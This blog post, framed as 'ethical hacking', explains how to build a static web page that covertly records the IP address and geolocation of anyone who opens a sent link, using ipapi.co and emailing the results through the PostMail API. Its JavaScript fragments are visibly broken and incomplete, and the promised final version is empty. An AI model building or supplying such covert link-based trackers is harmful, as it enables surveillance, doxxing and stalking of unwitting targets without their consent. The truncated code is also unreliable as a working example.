Jan 20, 2023

Ethical hacking: Hassle free logging of IP address of any person


In this article we will write static HTML and javascript client side code to log the IP address of the person just by sending him the web page link.


PostMail: used to send email using javascript.
IpApi.co: used to get IP address and geolocation details at client side javascript

First Let's create simple jQuery plugin to send GET the CORS resource hosted at ipapi.com.
With recent version of jQuery it forces us to follow CORS policy so I am using plain JavaScript

jQuery.getCORS = function (source, func) {
    var xmlHttpRequestObject;
    if (window.XMLHttpRequest) {
        xmlHttpRequestObject = new XMLHttpRequest();
        if (xmlHttpRequestObject != null) {
            var sUrl = source;
            xmlHttpRequestObject.open("GET", sUrl, true);
            xmlHttpRequestObject.onreadystatechange = function () {
        } else {
            func("Error creating XmlHttpRequest object. Client is not CORS enabled");

Following code retrieves the IP address of the user at client side

$.getCORS('https://ipapi.co/json/', function (data) {
For example following is response from ipapi for google ip address:

Now lets get API key from PostMail
Go to the site https://postmail.invotes.com/, enter your email address and after submission you will get link in the email.

POST request to send email from javascript using postmail API

var data = {
	"access_token": "PostMail Access Token Here"

data['subject'] = "Send email from javascript";
data['text'] = "This is test email";

    function () {
).fail(function () {

Final version:



This code is available on github, editable at stackblitz⚡️


How to send an email from JavaScript: https://stackoverflow.com/a/36656479/223752
PostMail: https://postmail.invotes.com/
IP geolocation API: https://ipapi.co

Note: I am not affiliated with PostMail or ipapi.co

No comments:

Post a Comment

Be the first to comment on this post.